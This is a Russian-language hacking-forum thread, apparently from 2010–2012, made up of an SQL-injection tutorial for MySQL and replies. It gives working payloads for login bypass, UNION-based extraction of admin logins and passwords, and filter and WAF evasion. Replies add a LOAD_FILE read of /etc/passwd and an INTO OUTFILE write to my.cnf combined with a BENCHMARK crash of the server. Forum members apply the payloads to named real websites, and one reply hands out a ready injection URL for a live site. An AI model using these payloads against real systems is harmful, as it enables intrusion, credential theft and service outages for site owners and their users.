PDA

Просмотр полной версии : SQL-инъекция в MySQL


stan_q
14.09.2010, 01:00
Всем привет.

Темы по sqli на форуме есть, но некоторые моменты, имхо, неосвещены, некоторые упущены. Да и разброс небольшой присутствует. Вот и решил собрать по возможности воедино все, что касается sqli в MySQL, да немного добавить от себя. Конечно, здесь описано далеко не все, опущены слепые скули, обход фильтрации, web-шеллы, чтение файлов на сервере и т.д., но по возможности постараюсь со временем обо всем этом написать. А начну с самого начала - обычные sql-инъекции в MySQL.

Часть 1. Теория

Немножко пройдемся по азам:
Sql-injection (sql-инъекция, sqli, скуль и т.п.) – это уязвимость, позволяющая удаленному пользователю внедрять sql-запросы, непредусмотренные кодом страницы. Что это дает? А дает это возможность чтения из базы данных MySQL необходимой хакеру информации, например, имен и паролей пользователей. Уязвимость возникает в случае, если какие-либо данные, которые вводятся пользователем и направлены в базу данных, не фильтруются, т.е. помимо предусмотренного запроса мы можем добавить запрос, нужный нам. Данные от пользователя к базе данных обычно передаются через GET-параметры, POST-параметры и cookies.

Часть 2. Ищем уязвимость

Для того, чтобы определить уязвимость, нужно понимать, что происходит, не так ли?
И так, предположим, у нас есть скрипт, который обращается к базе данных методом GET с целью получить какой-нибудь параметр, например, данные о пользователе. Предположим, что выглядит он следующим образом:

Листинг скрипта user.php

PHP highlight



…..// тут идет соединение с БД , что нам в общем-то неинтересно

$id=$_GET['id'];

$zapros=mysql_query("SELECT * FROM users WHERE id=$id");

…..// тут, допустим, пошел выво д данных





Мы видим, что в переменную $id попадают символы, которые содержатся в адресной строке после "id=", до конца запроса или до символа &. Например,

code:

site.com/user.php?id=1

В переменную $id попадает единица.
Логика запроса такова, что на экран будут выведены все данные о пользователе с идентификатором 1.
Что будет, если нарушить логику запроса? Например, поставить традиционную кавычку “'”.

code:

site.com/user.php?id=1'

В таком случае, мускуль не поймет запроса и ругнется нам ошибкой, что-то типа

Цитата:


You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''



Подстановка кавычки, собственно, может дать следующие варианты:

1. Вывод ошибки, как приведено выше. Это означает отсутствие фильтрации вводимых параметров, возможность внедрения своего запроса
2. Ошибка отсутствует, вообще искажается вся страница или ее часть. В таком случае, возможно, просто отключен вывод об ошибках в настройках php. Наличие инъекции возможно.
3. Ничего не меняется. Скорее всего, вводимые данные фильтруются, и инъекции нет.

Таким образом, чтобы найти инъекцию в GET параметре, нужно везде ставить кавычки. Но учтите, что, если при user.php?id=1 инъекции нет, то и в user.php?id=2 ее точно не будет, т.к. на уязвимость проверяется параметр id, а не его числовое значение.

Кстати, о значениях. Параметры могут быть не только числовыми, а, например, текстовыми:

code:

site.com/user.php?name=admin

А могут выглядеть и так:

code:

site.com/user/name/id/1

Поэтому не стесняемся – ставим кавычки везде, где есть вероятность «попасть» с запросом в базу данных.

Так, с GET параметром вроде разобрались.

Теперь POST параметр.

Как вы помните, в пост параметр также обычно попадают данные, введенные в поле обычным пользователем, например, форма поиска или авторизации. В таком случае адресная строка браузера как выглядела, так и будет выглядеть, при этом, введенные нами данные «незаметно» для нас уйдут в БД. Процесс проверки наличия уязвимости будет, по сути, таким же, как и при GET-методе передачи.
Отдельно следует упомянуть о наличии инъекции в форме авторизации.
Предположим, что запрос к БД будет выглядеть таким образом:

PHP highlight



mysql_query(“SELECT*FROM users WHERE login=$l oginANDpass=$password”);





Если не фильтруется переменная $login:
Запрос в строке, где вводится логин, будет таким:
Admin'+--+
Таким образом, в базу данных попадет только логин, проверка по паролю будет отброшена, благодаря использованию комментария MySQL “+--+”. И вуаля – мы админы.
Если не фильтруются данные поля для ввода пароля, то запрос в этом поле будет таким:
Pass'+or+login=’admin’ Таким образом, значение пароля будет отброшено, и авторизация пройдет по логину admin.
Учитывая, что в sql-запрос может быть построен по-другому (например,
PHP highlight



mysql_query(“SELECT*FROM users WHERE pass=$pa sswordANDlogin=$login”);





), то целесообразно будет сначала выявить принципиальное наличие sqli, используя все ту же кавычку. И если инъекция существует – видоизменять запрос до получения необходимого результата.

COOKIES

Аналогично проверке при передачи POST параметром, необходимо будет в значения cookies добавить данные, которые теоретически могут вызвать ошибку в sql-запросе. Пользуемся редактором cookies для корректировки запросов, ставим кавычку и обновляем страницу.

Собственно, в дальнейшем сосредоточимся именно на методе передачи данных GET, т.к. принципы работы массивов GET, POST и COOKIES идентичны, за исключением разве что внешнего вида. С гетами будет нагляднее.

Маленький вывод: поиск уязвимости технически одинаков для любого метода передачи данных из перечисленных – необходимо вызвать ошибку в sql-запросе путем нарушения его логики. Хочу уточнить, что данном мануале я говорю о поиске уязвимости именно в SELECT запросах.

Часть 3: эксплуатация уязвимости

Эксплуатация sqli осуществляется с использованием оператора sql «SELECT», который используется для извлечения данных из строк одной или нескольких таблиц.
Спойлер
http://ru.wikipedia.org/wiki/Select_(SQL)

Для объединения запросов используется оператор «union»
Спойлер
http://www.phpclub.ru/mysql/doc/union.html

Так как SELECT запросов у нас будет больше одного (один изначально находится в скрипте, другой пишем мы), то без этого оператора мы никак не обойдемся.
Однако, для корректной работы связки UNION+SELECT необходимо, чтобы количество столбцов в SELECT-запросах до UNION и после было одинаковым. Поясню на примере.
Изначально наш sql-запрос выглядел так:

PHP highlight



$zapros=mysql_query(“SELECT*FROM users WHERE id=$id”);





Учитывая наличие уязвимости, мы хотим дописать запрос:

code:

site.com/user.php?id=1+UNION+SELECT+1

Теперь наш sql-запрос примет следующий вид:
$zapros = mysql_query("SELECT * FROM users WHERE id=1 + UNION + SELECT + 1");

Т.е. мы имеем 2 SELECT запроса, и UNION, который их объединяет. Вот для того, чтобы запрос сработал корректно, нужно, чтобы количество столбцов в таблицах при первом SELECT запросе и втором SELECT запросе совпадало.

Итак, определяем количество полей
3.1
Конструкция "order+by+число". Сортирует строки результирующей таблицы данных, по указанному числовому параметру.
Если при запросе

code:

site.com/user.php?id=1+order+by+10+--+

Получаем ошибку, то столбцов меньше 10. Если ошибки нет – то столбцов либо 10, либо больше.
3.2
Конструкция “group+by+число”. Тот же order+by, только наоборот. Если при group+by+10 есть ошибка, то таблиц меньше 10, если ошибки нет, то их 10 или больше.
3.3 На мой взгляд, самая неудобная конструкция, которую я лично никогда не использовал, но напишу:

code:

site.com/user.php?id=1+UNION+SELECT+1

Выпала ошибка? Идем дальше

code:

site.com/user.php?id=1+UNION+SELECT+1,2

Опять ошибка. Продолжаем увеличивать
….

code:

site.com/user.php?id=1+UNION+SELECT+1,2,3,4,5

Ошибки нет. Искомое число – 5.

Итак, количество полей для запроса – 5.

Идем дальше.
Для того, чтобы выводить из базы данных какую-либо информацию, необходимо определить принтабельные поля, через которые это можно сделать. Для этого формируем запрос следующим образом (не забываем, что у нас 5 полей):

code:

Site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5

Обратите внимание, что перед 1 я поставил знак минус. Логически можно предположить, что пользователя с идентификатором -1 не существует, поэтому на экран будет выведен минимум информации, и результаты нашего запроса, который стоит после id=-1 будут более заметны.
По результатам этого запроса, на странице должны отобразится какие-либо цифры от 1 до 5, эти цифры и будут нашими принтабельными полями. Допустим, это будет поле №2.

Первоначально рекомендую вывести из базы данных следующую информацию:
Текущая база данных – команда database()
Текущий пользователь MySQL – команда user()
Текущая версия базы данных – команда version()
Особенно важна информация из последней команды – version(). Исходя из того, что покажет данная команда, будем строить и дальнейшие действия.

Подставлять запрос следует вместо тех цифр, которые были выведены как принтабельные поля. Собственно, сам запрос будет выглядеть таким образом:

site.com/user.php?id=-1+UNION+SELECT+1,version(),3,4,5

На месте двойки на странице сайта будет выведена версия базы MySQL.
Если версия 5 и выше, вам повезло. Если 4 – не сильно. Если 3 – то вообще приплыли.
Вообще-то 3 ветку я лично даже в глаза не видел, так что и писать о ней не буду. Принципиальное для нас отличие между ветками – появление базы information_schema, в которой хранится структура всей базы данных.

Напомню, что любая мускульная база данных имеет таблицы, которые состоят из колонок. Начинаем по порядку

Глава 4: определение структуры базы данных

4.1 Версия MySQL 5.x.x
Структура любой базы данных данной ветки обязательно содержит стандартную базу information_schema, в которой находятся стандартные таблицы и колонки, не представляющие для нас ровно никакой ценности.
Вывод наименований таблиц:

code:

site.com/user.php?id=-1+UNION+SELECT+1,group_concat(table_name),3,4,5+fr om+information_schema.tables+where+table_schema!=0 x696e666f726d6174696f6e5f736368656d61

Данный запрос: выводит все (group_concat) таблицы (table_name) из information_schema.tables (информационная база таблиц), где имя базы таблиц (table_schema) не является (!=) information_schema

0x696e666f726d6174696f6e5f736368656d61 – это information_schema в hex значении, в качестве конвертора я использую сайт x3k.ru (https://hpc.name/redirector.html#http://x3k.ru)

Ограничением (причем, зачастую довольно ощутимым), является вывод не более 1024 символов за раз, поэтому могут вывестись не все таблицы.

Аналогом для вывода может служить конструкция limit, которая позволит выводить по одной записи ( в нашем случае – имя таблицы) за запрос.

Например, запрос

code:

site.com/user.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information _schema.tables+limit+0,1

выведет нам 1 таблицу
limit+1,1 – вторую и так далее.

Итак, определили все таблицы в базе данных. Выбираем интересующую нас таблицу, допустим, она называется admin. Теперь нам необходим определить наименование колонок данной таблицы. Делается практически аналогично:

code:

site.com/user.php?id=-1+UNION+SELECT+1,group_concat(column_name),3,4,5+f rom+information_schema.columns+where+table_name= 0x61646d696e

Логика запроса, надеюсь, понятна – она практически идентична предыдущему запросу. Тут обычно длины group_concat абсолютно достаточно, т.к. количество столбцов обычно небольшое. Предположим, что в нашем случае колонки назывались login и pass.

Итак, мы определили структуру базы данных, а также выяснили наименование нужных нам таблиц и колонок: таблица admin содержит колонки login и pass.
Заключительный этап эпопеи – вывод данных. Составляем следующий запрос:

code:

site.com/user.php?id=-1+UNION+SELECT+1,group_concat(login,0x3b,pass),3,4 ,5+from+admin

В данном случае, выводятся все значения для колонок login и pass из таблицы admin, 0x3b используется как разделитель между ними (для удобочитаемости, эквивалентен точке с запятой).
Все, эти данные у нас в руках.

4.2 Версия MySQL 4.x.x

Четвертую ветку сознательно пишу после пятой, чтобы новичкам было проще сориентироваться.
Как уже говорилось, ключевое для нас отличие между 4 и 5 версиями – information_schema. В 5 версии – есть, в 4 – нет. И это создает для нас определенные трудности. Я опишу самый примитивный способ, а остальные – тема уже других статей, ибо сложные .
Так вот, в связи с отсутствием information_schema, мы не можем просто взять и получить наименование таблиц\колонок, так как неоткуда. Проще всего попробовать угадать. Для начала попробуем угадать название таблицы:

code:

site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+user

Если выпала ошибка – не угадали. Меняем название таблицы:

code:

site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+logins

И так до того момента, пока не пропала ошибка.

В нашем виртуальном случае, без ошибки сработает запрос:

code:

site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+admin

Теперь надо угадать наименования колонок. Помним, что принтабельное поле у нас 2, действуем аналогично предыдущей логике:

code:

site.com/user.php?id=-1+UNION+SELECT+1,name,3,4,5+from+admin

Ошибка

code:

site.com/user.php?id=-1+union+SELECT+1,admin_login,3,4,5+from+admin

Ошибка

code:

site.com/user.php?id=-1+UNION+SELECT+1,login,3,4,5+from+admin

Есть контакт.

Аналогично угадываем колонку с паролем

code:

site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin

Вывод содержимого колонок делается аналогично выводу в 5 ветке.

Маленькое дополнение к теме.
Символы комментариев, которые используются в MySQL:

code:

/*
+--+ (знак плюса эквивалентен пробелу)
--
#

Нужны для того, чтобы отбросить то, что находится после нашего запроса. Зачастую это необходимо, поэтому, если что-то не идет – ставьте (меняйте) указанные символы – есть шанс, что все наладится.
Пример запроса:

code:

site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin+--+

(или любой другой аналог из указанных выше)

Если есть желание попрактиковаться – милости прошу сюда (https://hpc.name/showthread.php?t=16547)

Ну и вообще, как искать sqli, вы должны уже и сами понять.

stan_q

для HPC

(c) 2010

Lucifer2966
14.09.2010, 01:00
Хорошая статья, автор молодец потрудился написал, можно вопрос а чем плохи вот эти темы? Там даже видео есть :-)
https://hpc.name/showthread.php?t=3814&highlight=sql
https://hpc.name/showthread.php?t=3547&highlight=sql

sulikoshka
14.09.2010, 01:00
Цитата:

Сообщение от Lucifer2966

Хорошая статья, автор молодец потрудился написал, можно вопрос а чем плохи вот эти темы? Там даже видео есть :-)
https://hpc.name/showthread.php?t=3814&highlight=sql
https://hpc.name/showthread.php?t=3547&highlight=sql

В этих темах не все раскрывается.

К дополнению к статье практика https://hpc.name/showthread.php?t=14494

stan_q
15.09.2010, 01:00
Цитата:

Сообщение от Lucifer2966

а чем плохи вот эти темы

Ничем не плохи, но я постарался объяснить не только как делать, но и почему это надо делать именно так. Мы же не обезьяны, чтобы просто копировать, а хотим понимать суть происходящего .
Плюс добавил несколько весьма полезных приемов, как-то group_concat, table_schema!=, которые упрощают вывод необходимых данных

Да, еще немного раскрыл тему sqli в POST и COOKIES, жалко, под рукой нет практического примера.

HEX xaKer
22.09.2010, 01:00
дааа уж скуль найти по моему трудней чем XSS и с эксплуатацией сложней. а если скуль использовать(если нашел) какая вероятность того что ты сможешь залогиниться вместо юзверя?!

Vova123
22.09.2010, 01:00
А что ее искать то ? А вот насщет эксплуатации согласен

stan_q
22.09.2010, 01:00
Цитата:

Сообщение от HEX xaKer

скуль найти по моему трудней чем XSS и с эксплуатацией сложней

Возможно, но результат куда более интересный

Цитата:

Сообщение от HEX xaKer

а если скуль использовать(если нашел) какая вероятность того что ты сможешь залогиниться вместо юзверя?!

100% при условии успешного брута хеша и отсутствии каких-либо ограничений в доступе (например, по ip).

Like-Angel
06.10.2010, 01:00
аа как в гоши искать ?сайты ?

s0llo
08.10.2010, 01:00
Добавление к статье.(обход фильтрации символов)

1.unhex.Если запрос фильтруеться и не выполняеться, тогд в этом случае можно запрос закодировать...

PHP highlight



unhex(hex(например:user())//если сервер фильтрует user() и т.д., тогда его можно з шифровать в hex таким обра зом.





2.CHAR.
Допустим что у нас есть file_priv, наш запрос выглятит так

PHP highlight



union+select+1,2,LOAD_FILE('etc/passwd'),4,5--+





Но вдруг запрос отфильтровало!(((
Тогда пробуем зачарить наш запрос...

пишем вот такой php скрипт:
Спойлер

PHP highlight



";

print"";

print"Word:";

print"";

print"n";

}

if (!isset($_GET['string'])){

form();

exit;

}

$string=$_GET['string'];

for ($i=0;$i



и вставить шифрованые запрос в:

PHP highlight



union+select+1,2,LOAD_FILE(char(92,39,47,101,116,9 9,47,112,97,115,115,119,100,92,39),4,5--+





3.AES_DECRYPT.AES_ENCRYPT.Вполне успешно может сработать и такой запрос!
Код:

PHP highlight



http://www.site.ru/index.php?page=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(USER(), 0x71),0x71),4,5,6/*





4.Еще попадаються случаи когда фильтруються цифры и +(плюс).
цифры можно заменять на null, а + на /**/
пример с цифрами:

PHP highlight



http://www.site.ru/index.php?page=-1+union+select+null,null/*





пример с +:

PHP highlight



http://www.site.ru/index.php?page=-1/**/union/**/select/**/1,2,user,password,5,6/**

stan_q
08.10.2010, 01:00
Немного добавлю :
- при фильтре, допустим, SELECT: варианты SeleCt, seleSELECTct;
- для обхода некоторых фильтров WAF может помочь конструкция /**/, например:

code:

http://site.com/index.php?id=1/*+select+union+table_name+from+infromation_schema. tables*/--+

либо

code:

http://site.com/index.php?id=1/*!12345+select+union+table_name+from+infromation_s chema.tables*/--+

Конструкция unhex(hex()) может помочь при чтении данных в какой-нибудь нестандартной кодировке, если при обычном запросе у вас выводятся кракозяблы.

code:

http://site.com/index.php?id=1+select+union+unhex(hex (table_name))+from+infromation_schema.tables--+

Полезна функция count(), позволяющая определить количество записей в определенной строке, например, запрос

code:

http://site.com/index.php?id=1select+union+count(login)+from+users--+

даст нам информацию о количестве записей в строке login из таблицы users

onekey_nw
05.11.2010, 01:00
вот такой вопрос? если при подстановке ' => id=1' выдает тип синтаксис ерор. тоесть запрос нее фильтруется? так?

и проводить иньекцию
id=1'+order+by ...

или так
id=1+order+by...

stan_q
06.11.2010, 01:00
Цитата:

Сообщение от onekey_nw

и проводить иньекцию
id=1'+order+by ...

или так
id=1+order+by...

Зависит от скрипта.
Если запрос в БД имеет обрамление кавычками параметра (что-то типа SELECT * FROM users WHERE id='id'), то тогда инъекция проводится с кавычкой. Если в скрипте кавычки отсутствуют (WHERE id=id), то проводится без кавычки

HEX xaKer
06.11.2010, 01:00
Цитата:

Сообщение от stan_q

Возможно, но результат куда более интересный

100% при условии успешного брута хеша и отсутствии каких-либо ограничений в доступе (например, по ip).

просто я думаю что на данный момент везде пароли в мд5 хэше, а барсик у меня на вин7 х64 даже не запускается, а поиск по базам беспонтовое занятие если пароль (исходный) скажем qweasdzxc123 то в базах хэша скорей не будет

alexon
06.11.2010, 01:00
Цитата:

Сообщение от HEX xaKer

просто я думаю что на данный момент везде пароли в мд5 хэше, а барсик у меня на вин7 х64 даже не запускается, а поиск по базам беспонтовое занятие если пароль (исходный) скажем qweasdzxc123 то в базах хэша скорей не будет

Вот скачай (https://hpc.name/redirector.html#http://yandex.kz/yandsearch?text=%D1%8D%D0%BC%D1%83%D0%BB%D1%8F%D1% 82%D0%BE%D1%80+windows+xp+%D0%B4%D0%BB%D1%8F+windo ws+7&clid=41141&tld=kz&lr=162) и будет тебе счастье

[ANGEL]
14.02.2011, 01:00
А не могли бы...подсказать...
Вот у меня скуля:

Цитата:

http://www.st-martin.org/reservation...ex.php?rubid=1 (https://hpc.name/redirector.html#http://www.st-martin.org/reservations/lire/index.php?rubid=1)'



Но когда я ввожу:
http://www.st-martin.org/reservation...+by+1000000000 (https://hpc.name/redirector.html#http://www.st-martin.org/reservations/lire/index.php?rubid=1+order+by+1000000000)

Ошибка всё-равно имеется...

Яне думаю что на сайте столько таблиц...в чём моя ошибка...?)

Norton710
15.02.2011, 01:00
Вот все схемы твоего сайта.. В каждой более 10 таблиц.
information_schema
st-martinorg
st-martinorg1
st-martinorg10
st-martinorg2
st-martinorg20
st-martinorg3
st-martinorg7
st-martinorg8
st-martinorg9

p.s. Пробуй закомментировать конец запроса

Lucifer2966
15.02.2011, 01:00
На сайте 11 таблиц) когда ошибка исчезает - значит таблица есть, если ошибка появляется - значит столько таблиц нет. Вот примерно так начинай раскручитвать дальше
Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

Пардон, я просто откоментировал про ошибку в запросе пользователя [AngeL]. Сообщение Norton710 если често толком не читал)

stan_q
15.02.2011, 01:00
Lucifer2966, вы с Нортоном говорите о разных вещах. Нортон говорит о 10 датасхемах (schema), которые находятся по запросу schema_name+from_information_schema.schemata

stan_q
18.02.2011, 01:00
Отличная книга по скулям (прямая ссылка)
http://www.ptsecurity.ru/download/PT...-Injection.pdf (https://hpc.name/redirector.html#http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf)
Автор - Дмитрий Евтеев

3acuson
19.02.2011, 01:00
хэлп,есть сайт со скулей
Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

как можно через неё залить шелл(File_priv Y) ?

NZT
18.02.2012, 01:00
Попробовал sql injection в dvwa, и не понял одного : я вывел все таблицы , но когда вызываю содержимое таблиц то открывается только таблица users , а кредитные карточки и accounts не открываются , появляется ошибка что нет таких таблиц , хотя я их видел когда мне показывало все таблицы. Почему я эти две таблицы (кредиток и accounts) не могу открыть? Заранее спасибо за ответ.

NZT
22.02.2012, 01:00
fragg есть вариант что ты не видишь все таблицы , для этого когда ты запрашиваешь таблицы ты дожен написать where таблица не равана (!=) information schema и тогда тебе выдаст не всё а только нужные таблицы. Это описывается в этой теме в первом сообщении.
И тогда ты увидишь Users )

fragg
22.02.2012, 01:00
День добрый
вывел названия баз
information_schema
test
veter_main
вывел таблицы
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS вывел колонки , где искать User ??
katalog = = = id,shtrich,name,GrupeId,Price,Ostatok
kel_config == title,email
kel_search == id,country,city,nights,days,starting_date,price,fl ag,LINK,currency
kel_searchform = = id,country,city
kel_structure == id,name,parentID,content

M@ZAX@KEP
22.02.2012, 01:00
Очевидно, пользователей нет. Уверен что они вообще должны быть?))

stan_q
28.02.2012, 01:00
Цитата:

Сообщение от fragg

Админка есть

Это ничего не значит. Логин/пароль может быть записан в php файле, а не в БД.

fragg
28.02.2012, 01:00
отсеял таблицу information_schema. еще в начале нету users как ни крути
таблицы в них вот эти колонки
katalog id,shtrich,name,GrupeId,Price,Ostatok
kel_config title,email
kel_search id,country,city,nights,days,starting_date,price,fl ag,LINK,currency
kel_searchform id,country,city
kel_structure id,name,parentID,content

как видно ничего похожего на users password,
Админка есть

M@ZAX@KEP
28.02.2012, 01:00
fragg, выведи список всех БД для начала. Скорее всего твои юзеры в другой базе, на которую у тебя нет прав чтения.

NZT
29.02.2012, 01:00
fragg вот (https://hpc.name/redirector.html#http://www.youtube.com/watch?v=oMV0JZVxvdQ) [►] видео на ютуб по sql-inj в dvwa. С ним ты во всем разберешся. Лично мне оно очень помогло. Удачи )

fragg
01.03.2012, 01:00
Вывод баз

Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

Получилось

information_schema
test
veter_main

таблицы и колонки показаны в посте #22
--------------------------------------------
Склоняюсь к мысли что лог/пасс - где угодно, но не в базах

PS: за видео спасибо.

rox@hak
12.03.2012, 01:00
Цитата:

Сообщение от rox@hak

не получается никак заупдатить базу, тоесть подменить значение пассворд! в какую сторону копать? юнион селект работает все отлично проходит база читается, вытянул все, но хочу сделать
code:

id=-123';+update+a_admin+set+password='123'+where+emai l='admin@admin.ru'+--+

никак не выходит! в чем может быть проблема?
на странице есть еще одна ошибка самого упдате, может как то можно сделать вложение типа -

code:

UPDATE per*sons SET street = 'Nis*sesti*en 67', ci*ty = 'Sand*nes' WHERE lastname = 'Tjes*sem' AND UPDATE per*sons SET street = 'Nis*sesti*en 67', ci*ty = 'Sand*nes' WHERE lastname = 'Tjes*sem' AND firs*tna*me = 'Ja*kob'

?

актуально

Nick Hander
12.03.2012, 01:00
rox@hak
Свой 2 запрос таким образом через GET-запрос задать нельзя - не сработает в большинстве случаев. Можно только совершить действие через оператор union, причем первоначальная операция должна совпадать с операцией, которая задается через юнион. Например, если изначально идет запрос SELECT, то можно написать только + union + select, union+update тоже не сработает. Если тебе надо апдейтить базу, то можно попробовать найти скулю в update - запросе и действовать через union.

rox@hak
12.03.2012, 01:00
Цитата:

Сообщение от Nick Hander

rox@hak
Свой 2 запрос таким образом через GET-запрос задать нельзя - не сработает в большинстве случаев. Можно только совершить действие через оператор union, причем первоначальная операция должна совпадать с операцией, которая задается через юнион. Например, если изначально идет запрос SELECT, то можно написать только + union + select, union+update тоже не сработает. Если тебе надо апдейтить базу, то можно попробовать найти скулю в update - запросе и действовать через union.

как раз есть и в упдате, буду пробовать там + union+update

попробовал не прокатило
на запрос

code:

http://site.ru/hb/sry.php?t=-242'+union+UPDATE+a_admin+SET+dbid=ss+where+email= 'psp@se.net'+--+;

ответ

code:

Error: can't execute query : UPDATE lib_content set views=views+1 where dbid='-242' union UPDATE a_admin SET dbid='ss' where email='psp@softhome.net' -- '

Всеравно не упдатится, может запрос не так сделал?
какие мысли есть по этому поводу?

rox@hak
12.03.2012, 01:00
не получается никак заупдатить базу, тоесть подменить значение пассворд! в какую сторону копать? юнион селект работает все отлично проходит база читается, вытянул все, но хочу сделать
code:

id=-123';+update+a_admin+set+password='123'+where+emai l='admin@admin.ru'+--+

никак не выходит! в чем может быть проблема?
на странице есть еще одна ошибка самого упдате, может как то можно сделать вложение типа -

code:

UPDATE per*sons SET street = 'Nis*sesti*en 67', ci*ty = 'Sand*nes' WHERE lastname = 'Tjes*sem' AND UPDATE per*sons SET street = 'Nis*sesti*en 67', ci*ty = 'Sand*nes' WHERE lastname = 'Tjes*sem' AND firs*tna*me = 'Ja*kob'

?

M@ZAX@KEP
13.03.2012, 01:00
rox@hak, а чего-то у тебя кавычку комментарием не отрезало в конце запроса. Попробуй другие, например # или /*
Кстати, a_admin это имя таблицы такое?

Nick Hander,в данном случае это не нужно, но можно через SELECT ... UNION любые операторы выполнять если есть file_priv:

code:

UNION SELECT '[mysqld]\ninit_file="UPDATE ... INSERT.. DELETE... да любой запрос"\n#'
INTO OUTFILE '/var/lib/mysql/my.cnf'

Потом что-нибудь типа

code:

UNION SELECT BENCHMARK(9999999, BENCHMARK(9999999,md5(0x1488)))

Чтобы сервер обосрался и лёг нахрен. После перезапуска сервера запрос, записанный в my.cnf, будет выполнен.

Кстати...
Цитата:

Сообщение от Nick Hander

запрос таким образом через GET-запрос задать нельзя

А через post или cookie типа можно было бы? -)

Nick Hander
13.03.2012, 01:00
А через post или cookie типа можно было бы? -)
Я не говорил об этом. Просто сказал GET-запрос, потому что rox@hak как раз атаковал именно через get запрос. Как бы уточняющее слово, а не противопоставление. Еще я сказал в большинстве случаев, поскольку по умолчанию на серверах file_priv настроен, и такие запросы блокируются.

Цитата:


Чтобы сервер обосрался и лёг нахрен. После перезапуска сервера запрос, записанный в my.cnf, будет выполнен.



Какой ты беспощадный))

D@Gshram
30.03.2012, 01:00
что означают вот эти ошибки
code:

Query failed: The used SELECT statements have a different number of columns

и этот , эту нашел когда искал пассивку
code:

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '>alert("xss")%" OR title like "%">alert("xss")' at line 1

M@ZAX@KEP
30.03.2012, 01:00
D@Gshram, первая ошибка - ты неверно подобрал кол-во столбцов.
Вторая - у тебя инъекция через LIKE, забей на пасссивку и крути. Хотя SQLiXSS тоже тема. Попробуй убрать "> перед скриптами.

D@Gshram
30.03.2012, 01:00
убрал вот опять таже фишка Ошибка 500

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xss")%" OR title like "%alert("xss")%"' at line 1 когда пишу в строке поиска выходит вот это. а xss там нету

M@ZAX@KEP
30.03.2012, 01:00
Забей значит на xss, крути как скулю. И не вздумай спросить ещё в этой теме, как крутить скулю))

D@Gshram
30.03.2012, 01:00
ниче не понял. вот смотри тогда сам Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.

D@Gshram
31.03.2012, 01:00
хотел узнать что это такое
code:

Notice: Undefined variable: aNode in /home/a83006/soft.siza.us/html/_v/nodes.php on line 70 Call Stack: 0,0000 637136 1. {main}() /home/a83006/soft.siza.us/html/index.php:0 0,0030 1237640 2. require('/home/a83006/soft.siza.us/html/_v/nodes.php') /home/a83006/soft.siza.us/html/index.php:16

An0nYm
31.03.2012, 01:00
Цитата:

Сообщение от D@Gshram

хотел узнать что это такое
code:

Notice: Undefined variable: aNode in /home/a83006/soft.siza.us/html/_v/nodes.php on line 70 Call Stack: 0,0000 637136 1. {main}() /home/a83006/soft.siza.us/html/index.php:0 0,0030 1237640 2. require('/home/a83006/soft.siza.us/html/_v/nodes.php') /home/a83006/soft.siza.us/html/index.php:16

Это предупреждение, самая безобидна ошибка(предупреждение).

D@Gshram
31.03.2012, 01:00
спасибо всем за помощь! у меня такой вопрос, есть ли еще способы взлома сайтов кроме xss,xsfr,sql,php includ. если да то прошу написать что за методы или адрес на статью. спасибо заранее!

TeRoR4Ek
26.04.2012, 01:00
Вопрос , Возможна ли SQL инекция вот тут
http://murclub.ru/config/db.php (https://hpc.name/redirector.html#http://murclub.ru/config/db.php)

Rolexx93
26.04.2012, 01:00
Цитата:

Сообщение от TeRoR4Ek

Вопрос , Возможна ли SQL инекция вот тут
http://murclub.ru/config/db.php (https://hpc.name/redirector.html#http://murclub.ru/config/db.php)

Вроде SQL инъкцией не пахнет)ошибка в коде...

M@ZAX@KEP
02.05.2012, 01:00
Цитата:


почитал немного не понял



Цитата:


с помощью Havij не смог раскрутить



Ты не читал и не пытался понять если стал крутить с havij.

D@Gshram
02.05.2012, 01:00
Цитата:

Сообщение от M@ZAX@KEP

Ты не читал и не пытался понять если стал крутить с havij.

я сначала крутил, но не получилось. почитал статьи но нигде понял насчет колонок ( а ротом понял что с помощью Havij невозможно раскрутить так-как на сайте сначала нужно зарегистрироваться...

кто-нибудь поможет мне? вот сайт Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.
сначала нужно регаться!!! прошу снять мини видео как раскрутить этот скуль. очень прошу!!!

FROD-ik
02.05.2012, 01:00
Цитата:

Сообщение от D@Gshram

я сначала крутил, но не получилось. почитал статьи но нигде понял насчет колонок ( а ротом понял что с помощью Havij невозможно раскрутить так-как на сайте сначала нужно зарегистрироваться...

кто-нибудь поможет мне? вот сайт Hide:
Чтобы просмотреть данный текст, авторизуйтесь на форуме.
сначала нужно регаться!!! прошу снять мини видео как раскрутить этот скуль. очень прошу!!!

http://maxmob.ru/smiles.php?id=4'...S+--+&look_dir (https://hpc.name/redirector.html#http://maxmob.ru/smiles.php?id=4'+UNION+SELECT+1,2,3,table_name+fro m+INFORMATION_SCHEMA.TABLES+--+&look_dir)

дальше сам.

D@Gshram
02.05.2012, 01:00
